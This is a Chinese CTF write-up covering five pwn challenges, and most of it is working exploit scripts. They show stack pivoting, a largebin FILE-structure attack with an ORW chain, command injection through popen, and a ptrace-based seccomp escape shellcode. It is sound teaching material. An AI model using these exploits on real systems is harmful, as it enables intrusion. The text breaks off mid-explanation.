去年就知道这个比赛很卷,没想到今年更卷。某某战队距离比赛结束还有40分钟时排名第一,比赛结束时排第二十一,真的逆天。
这次比赛学长不是在实习就是去帮别的战队打,到头来pwn全都只能我一个人来打,真的好累喵😇。还好题目不是很难,一共五题pwn,前4题很快就打完了,最后一题巨抽象,本地不同的打法都通了,远程死活不同,真是让人道心破碎捏。

pstack

这是本次比赛的签到题,主逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Let's start the construction for stack overflow exploit.");
vuln();
return 0;
}

ssize_t vuln()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("Can you grasp this little bit of overflow?");
return read(0, buf, 0x40uLL);
}

可以看到这里存在0x10字节的溢出。由于只能覆盖rbpret,所以需要栈迁移,然后ret2libc,这里我栈迁移了2次,第一次用来泄露地址,第二次用来getshell。可是不知道是不是环境的问题,我本地打system("/bin/sh")死活都不通,打execve("/bin/sh",0,0)发现栈迁移后溢出的字节不够我写rop链,最后只能使用libc上的gadget来使其满足其中一个one_gadget来getshell😇
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('139.155.126.78',31213)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

ogg = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]

data = 0x0000000000601500
pop_rdi = 0x0000000000400773
ret = 0x0000000000400506
p.recvuntil('overflow?')
payload = b'a'*0x30 + p64(data) + p64(0x4006C4)
p.send(payload)

payload = b'b'*0x30 + p64(data-0x30) + p64(0x4006D0)
sleep(0.1)
p.send(payload)

payload = b'\x00'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(ret)+p64(elf.symbols['vuln'])
p.sendline(payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
lg('libc_base')

for i in range(len(ogg)):
ogg[i] += libc_base

data = 0x0000000000601700
p.recvuntil('overflow?')
payload = b'\x00'*0x30 + p64(data) + p64(0x4006C4)
p.send(payload)

payload = b'\x00'*0x30 + p64(data-0x30) + p64(0x4006D0)
sleep(0.1)
p.send(payload)

binsh=libc_base+next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']
pop_rsi = libc_base + 0x000000000016333a
pop_r13 = 0x0000000000041c4a + libc_base
pop_r12 = 0x0000000000035731 + libc_base
pop_rbp = 0x000000000002a2e0 + libc_base
execve = libc.symbols['execve'] + libc_base
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base

payload = b'\x00'*0x8+p64(pop_rax)+p64(0)+p64(pop_rbp)+p64(0x601780)+p64(ogg[5])
p.send(payload)

p.interactive()

TravelGraph

这是本次比赛唯一的堆风水题,其题目大概的意思是让我们输入路径,然后有个函数叫Dijkstra用来计算最短路劲,这里先看堆块是申请的

可以看见堆块的大小和我们选用的交通工具有关系,能申请的堆块大小有0x520/0x530/0x540

free函数中存在十分明显的UAF漏洞

edit函数只能够使用一次,而且在使用前需要满足edit_flag2变量的值为true,这个变量的值可以通过Dijkstra函数计算当前城市距离guangzhou的距离是否大于2000来改变

可以由于add函数对路径的长度有限制,所以正常情况下这个条件是无法满足的
求解思路为利用堆风水合理构造堆块获取一次edit机会,然后largebin attack_IO_list_all。由于这里开启了沙箱,所以我们使用orw读出flag。这题的栈地址远程和本地有 8 字节的偏差,逆天
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('139.155.126.78',34146)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

citys = [b'guangzhou', b'nanning', b'changsha', b'nanchang', b'fuzhou']
trans = [b'car', b'train', b'plane']

def meau(index):
p.recvuntil('distance.')
p.sendline(str(index))

def add(tran,froms,tos,far,note):
meau(1)
p.recvuntil('What kind of transportation do you want? car/train/plane?')
p.sendline(trans[tran])
p.recvuntil('Please input the city name')
p.sendline(citys[froms])
p.recvuntil('Please input the city name')
p.sendline(citys[tos])
p.recvuntil('How far?')
p.sendline(str(far))
p.recvuntil('Note:')
p.send(note)

def show(froms,tos):
meau(3)
p.recvuntil('Please input the city name')
p.sendline(citys[froms])
p.recvuntil('Please input the city name')
p.sendline(citys[tos])

def free(froms,tos):
meau(2)
p.recvuntil('Please input the city name')
p.sendline(citys[froms])
p.recvuntil('Please input the city name')
p.sendline(citys[tos])

def djsk(froms):
meau(5)
p.recvuntil('Please input the city name')
p.sendline(citys[froms])

def edit():
meau(4)

add(0,1,1,500,b'a'*0x30)
add(1,2,2,500,b'a'*0x30)
add(2,3,3,500,b'a'*0x30)

free(2,2)
free(3,3)
free(1,1)
add(2,2,2,500,b'a'*0x510)
show(2,2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
lg("libc_base"),
free(2,2)

add(2,2,2,500,b'a'*0x510+p32(2)+p32(0)+p32(8888)+p32(2)) # 4
djsk(2)
free(2,2)
add(0,2,1,500,b'a'*0x30)
add(1,2,2,500,b'a'*0x30)
free(2,1)
add(1,2,1,500,b'a'*0x30)
add(0,2,2,500,b'a') # 8
show(2,2)
p.recvuntil('Note:')
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x1461
lg("heap_base")

add(0,3,4,500,b'a'*0x30)
add(2,3,4,500,b'a'*0x30)
free(3,4)
add(2,3,3,500,b'a'*0x30)
add(1,4,4,500,b'a'*0x30)
add(1,3,4,500,b'a'*0x30)
add(0,0,2,500,b'a'*0x30)
add(0,1,4,500,b'a'*0x30)
add(0,1,0,500,b'a'*0x30)

free(4,4)
add(2,2,2,500,b'a'*0x30)
free(1,4)

large = libc_base + 0x21b110
heap = heap_base + 0x2930
meau(4)
p.recvuntil('Please input the city name')
p.sendline(citys[0])
p.recvuntil('Please input the city name')
p.sendline(citys[0])
p.recvuntil('Which one do you want to change?')
p.sendline(b'0')
p.recvuntil('How far?')
p.sendline(str(0x100))
p.recvuntil('Note:')
target = libc_base+libc.symbols['_IO_list_all']-0x20

fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target - 0x100, #_IO_write_ptr
0x68: target-0x100, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

payload = p64(0)+p64(0x531)+p64(large)*2+p64(target-0x100)+p64(libc_base+libc.symbols['_IO_list_all']-0x20)+fake_io_read[0x30:]
p.send(payload)
add(2,2,2,500,b'a'*0x30)
add(0,2,2,500,b'a'*0x30)
meau(6)

p.recvuntil('Wrong')
fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
p.send(fake_io_read)

payload = b""
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000 + 0x200, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
lg('stack')
target = stack - 712 + 8
lg('target')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000016333a
pop_rdx_rbx_ret = libc_base + 0x00000000000904a9
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = libc_base + 0x0000000000091316

payload = flat([
pop_rax_ret, 2,
pop_rax_ret, 2,
pop_rdi_ret, target + 0xc0,
pop_rsi_ret, 0,
syscall_ret,

pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, target + 0x150,
pop_rdx_rbx_ret, 0x30,0,
syscall_ret,

pop_rax_ret, 1,
pop_rdi_ret, 1,
syscall_ret,
b"flag\x00\x00\x00\x00"
])

sleep(0.1)
p.send(payload)

p.interactive()

httpd

这题实现了一个http服务器,其功能是对get请求的路径进行访问,如果路径以及文件合法就会打印出文件的内容

如上图所示,程序对我们输入的路径进行了十分严格的过滤,我们无法直接获取/flag的内容,因为会给过滤掉,可是我注意到了下面有个popen函数
函数的定义如下:

1
2
3
#include <stdio.h>
FILE * popen(const char *command , const char *type );
int pclose(FILE *stream);

函数说明:

popen()函数通过创建一个管道,调用fork()产生一个子进程,执行一个shell以运行命令来开启一个进程。这个管道必须由pclose()函数关闭,而不是fclose()函数。pclose()函数关闭标准I/O流,等待命令执行结束,然后返回shell的终止状态。如果shell不能被执行,则pclose()返回的终止状态与shell已执行exit一样。
type参数只能是读或者写中的一种,得到的返回值(标准I/O流)也具有和type相应的只读或只写类型。如果type是”r”则文件指针连接到command的标准输出;如果type是”w”则文件指针连接到command的标准输入。
command参数是一个指向以NULL结束的shell命令字符串的指针。这行命令将被传到bin/sh并使用-c标志,shell将执行这个命令。
popen()的返回值是个标准I/O流,必须由pclose来终止。前面提到这个流是单向的(只能用于读或写)。向这个流写内容相当于写入该命令的标准输入,命令的标准输出和调用popen()的进程相同;与之相反的,从流中读数据相当于读取命令的标准输出,命令的标准输入和调用popen()的进程相同。

函数作用:

popen函数允许一个程序将另外一个程序作为新进程来启动,并可以传递数据或者通过它接受数据。
其内部实现为调用 fork 产生一个子进程,执行一个 shell, 以运行命令来开启一个进程,这个进程必须由 pclose() 函数关闭。

这么说popen函数就类似于system函数可以让我们进行任意命令执行,可是程序对我们输入的路径还进行了第二层过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
_BOOL4 __cdecl sub_1F74(const char *a1)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char v3[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(v3, "bin");
if ( strchr(a1, 38) )
{
result = 0;
}
else if ( strchr(a1, 124) )
{
result = 0;
}
else if ( strchr(a1, 59) )
{
result = 0;
}
else if ( strchr(a1, 36) )
{
result = 0;
}
else if ( strchr(a1, 123) )
{
result = 0;
}
else if ( strchr(a1, 125) )
{
result = 0;
}
else if ( strchr(a1, 96) )
{
result = 0;
}
else if ( strstr(a1, needle) )
{
result = 0;
}
else
{
result = strstr(a1, v3) == 0;
}
if ( v4 != __readgsdword(0x14u) )
sub_2A70();
return result;
}

可以看到我们不能直接使用/bin/sh来起shell了,而且我们也不能直接cat flag,因为这中间有空格,会导致程序判断我们的get请求格式错误,所以我们可以先将/flag的内容保存到当前目录下的tmp文件中,然后再读取该tmp文件来获取flag
转移flag:

1
2
3
4
5
6
7
path = 'cat</flag>tmp'
payload = '''get /{} HTTP/1.0\r'''.format(path).encode()
p.sendline(payload)
payload = b'Host: 256.256.256.256\r'
p.sendline(payload)
payload = b'Content-Length: 1\r'
p.sendline(payload)

读取flag:

1
2
3
4
5
6
7
path = './tmp'
payload = '''get /{} HTTP/1.0\r'''.format(path).encode()
p.sendline(payload)
payload = b'Host: 256.256.256.256\r'
p.sendline(payload)
payload = b'Content-Length: 1\r'
p.sendline(payload)

logger

这道题目打的是C++中的异常处理,存在一个很明显的栈溢出,可是开启了canary,需要用异常处理来绕过

这里我一开始想的是打 CHOP,可是附件里并没有给各种依赖,然后我发现了下面这个东东

好家伙,这不是直接送我个system函数吗。经过调试,这个地方执行时rdi的值一直为0x4040A0

这个地方存储了一个用来报错的字符串,我们注意到上面有一个数组,该程序存在一个该数组的越界写

当索引为8时我们就能在0x4040A0上写数据,我们可以直接写/bin/sh,然后利用catch中的system来直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p=remote('139.155.126.78',34689)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def meau(index):
p.recvuntil('Your chocie:')
p.sendline(str(index))

rop = 0x404200

for i in range(9):
meau(1)
p.recvuntil('You can record log details here:')
p.sendline(b'/bin/sh\x00'*2)
p.recvuntil('Do you need to check the records?')
p.sendline(b'n')

meau(2)
p.recvuntil('[!] Type your message here plz:')
payload = p64(rop+0x10)*2+b'a'*8+b';/bin/sh\x00'+b'\x00'*7+p64(rop)*((0x70//8)-5)+p64(rop+0x20)+p64(0x401BC7)
p.send(payload)

p.interactive()

sandbox(after competition)

这题是最抽象的,本地通可是远程不通😰😰😰😰😰😰
典型的菜单题,申请的堆块大小只访问了0x500-0x1000delete函数存在明显的 UAF

所以直接larginbin attack_IO_list_all即可,可是这只是恶梦的开始,这题开启了沙箱

可以看到程序吧openopenat给ban了,于是我马上想到了openat2shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
shellcode = asm("""
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")

在本地执行 shellcode 后可以马上获取到flag,可是远程不行,当时我认为出题者把flag的文件名给改了,所以我写了以下 shellcode 来获取当前目录下的所有文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
shellcode = asm("""
mov rax, 0x2f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
""")

shellcode += asm(shellcraft.getdents64(3, heap_base + 0x300, 0x600))
shellcode += asm(shellcraft.write(1, heap_base + 0x300, 0x600))

在本地测试是没问题的,可是到远程就依然什么都没有,后面发现远程的 kernel 版本是 5.4,而 openat2 系统调用是在 kernel 5.6 才引入的,所以这种方法作废

然后我想到了 io_uring,可是依然是本地能获取flag,远程无法获取flag,那大概率就是不知道flag的路径和文件名的问题了,于是比赛中就没有做出来……

赛后再重新仔细研究了一下题目,发现 seccomp 禁用系统调用的时候并没有直接 return KILL,而是 return TRACE,然后我在项目 The Linux Kernel documentation 上找到了对于该返回值的描述:

SECCOMP_RET_TRACE:
When returned, this value will cause the kernel to attempt to notify a ptrace()-based tracer prior to executing the system call. If there is no tracer present, -ENOSYS is returned to userland and the system call is not executed.
A tracer will be notified if it requests PTRACE_O_TRACESECCOMP using ptrace(PTRACE_SETOPTIONS). The tracer will be notified of a PTRACE_EVENT_SECCOMP and the SECCOMP_RET_DATA portion of the BPF program return value will be available to the tracer via PTRACE_GETEVENTMSG.
The tracer can skip the system call by changing the syscall number to -1. Alternatively, the tracer can change the system call requested by changing the system call to a valid syscall number. If the tracer asks to skip the system call, then the system call will appear to return the value that the tracer puts in the return value register.
The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use this mechanism to escape.)

也就是说我们有办法对 seccomp 进行逃逸,其具体做法为:使用 fork 开一个子进程,子进程需要 ptrace(PTRACE_TRACEME, 0, 0,0); 来允许自己被父进程追踪,父进程需使用 ptrace(PTRACE_ATTACH, pid, 0, 0); 来追踪子进程。然后父进程在 wait() 阻塞等待子进程发起系统调用。一旦捕捉到,则子进程阻塞,父进程继续运行,此时需用 ptrace(PTRACE_0_SUSPEND_SEECOMP, pid, 0, PTRACE_0_TRACESECCOMP); 将被 TRACE 系统的调用改为允许运行,然后 ptrace(PTRACE_SCONT); 来恢复子进程的系统调用执行。由于我们不知道 flag 的路径和文件名是什么,所以直接使用 execve 来拿 shell, exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64

p = process(["./ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
# p=remote('49.234.30.109',9999)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')

def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def meau(index):
p.recvuntil('5. Exit')
p.sendline(str(index))

def add(index,size):
meau(1)
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size')
p.sendline(str(size))

def show(index):
meau(4)
p.recvuntil('Index')
p.sendline(str(index))

def bye():
meau(5)

def edit(index,Content):
meau(3)
p.recvuntil('Index')
p.sendline(str(index))
p.recvuntil('Content')
p.send(Content)

def free(index):
meau(2)
p.recvuntil('Index')
p.sendline(str(index))

add(0,0x500)
add(1,0x510)
free(0)
add(2,0x520)
add(0,0x500)
edit(0,b'a'*0x10)
show(0)
p.recvuntil('aaaaaaaaaaaaaaaa')
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x290
lg("heap_base")

free(0)
free(1)
free(2)

add(0,0x520)
add(1,0x510)
free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1f6cc0
lg("libc_base")
free(1)

add(0,0x500)
add(1,0x510)
add(2,0x510)
add(3,0x520)

free(2)
add(4,0x550)
free(0)

bin = libc_base + 0x1f70f0
edit(2,p64(bin)*2+p64(0)+p64(libc_base+libc.symbols['_IO_list_all']-0x20))
add(5,0x550)

order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:

/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */

test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */

/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */

parent_process:
/* Store child PID */
mov r8,rax

mov rsi, r8 /* rdi = child PID */

/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */

monitor_child:
/* Wait for the child to stop */

mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */

/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */

/* Allow the child process to continue */
mov rax, 110
syscall

mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */

/* Loop to keep monitoring the child */
jmp monitor_child

child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */

/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall

mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process

_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")

edit(1,shellcode)

target = libc_base + libc.symbols['_IO_2_1_stderr_']

stderr = libc_base + libc.symbols['_IO_2_1_stderr_']
setcontext = libc_base + libc.symbols['setcontext']
magic_gadget = libc_base + 0x000000000008c385
mprotect = libc_base + libc.symbols['mprotect']
pop_rax_call_rax = libc_base + 0x000000000015f288

fake_io_read = flat({
0x0: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

edit(0,fake_io_read[0x10:])
bye()

payload = b""
fake_io_write = flat({
0x00: 0x8000 | 0x800 | 0x1000, #_flags
0x20: libc_base+libc.symbols["environ"], #_IO_write_base
0x28: libc_base+libc.symbols["environ"] + 8, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x100, #_chain
0x70: 1, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'], #_vtables
}, filler=b'\x00')
payload = fake_io_write.ljust(0x100, b'\x00')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: heap_base + 0x5000 + 0x200, #_IO_write_base
0x28: heap_base + 0x5000 + 0x500, #_IO_write_ptr
0x68: heap_base + 0x5000 + 0x200, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')
payload += fake_io_read.ljust(0x100, b'\x00')

sleep(0.1)
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
lg("stack")
target = stack - 720
lg('target')

fake_io_read = flat({
0x00: 0x8000 | 0x40 | 0x1000, #_flags
0x20: target, #_IO_write_base
0x28: target + 0x200, #_IO_write_ptr
0x68: 0, #_chain
0x70: 0, # _fileno
0xc0: 0, #_modes
0xd8: libc_base + libc.symbols['_IO_file_jumps'] - 0x8, #_vtables
}, filler=b'\x00')

sleep(0.1)
p.send(fake_io_read)

pop_rdi_ret = libc_base + 0x0000000000023b65
pop_rsi_ret = libc_base + 0x00000000000251be
pop_rdx_ret = libc_base + 0x0000000000166262
pop_rax_ret = libc_base + 0x000000000003fa43
pop_rcx_ret = libc_base + 0x0000000000099a83
pop_rbp_ret = libc_base + 0x0000000000023a60

shellcode_addr = heap_base + 0x7b0

payload = flat([
pop_rdi_ret, heap_base,
pop_rsi_ret, 0x2000,
pop_rdx_ret, 7,
mprotect,
pop_rbp_ret, heap_base + 0x3000,
pop_rax_call_rax, shellcode_addr
])

sleep(0.1)
p.send(payload)

p.interactive()

运行后即可稳定拿 shell,效果如下:

可是这个 shell 并不能使用 ls、cat 这些指令,只能使用 cd、pwd、echo 这种比较基本的,而且 echo 的功能还不全,下面给出一些可以用来平替的脚本:

1
2
3
4
5
6
7
# ls
echo *

# cat flag
while IFS = read -r line; do
echo "$line"
done < flag

效果如下:

那为什么 ls、cat 等指令无法使用呢?这里以 ls 为例解释一下:
ls命令的实现可以分为以下几个步骤:

  1. 打开目录:首先,需要打开要列出文件的目录。可以使用 open() 系统调用来打开目录,并获得一个目录文件描述符。

  2. 读取目录项:通过 readdir() 系统调用,可以从打开的目录中读取目录项。readdir() 会返回一个指向目录项结构体的指针。通过循环调用 readdir(),可以逐个读取目录中的文件。

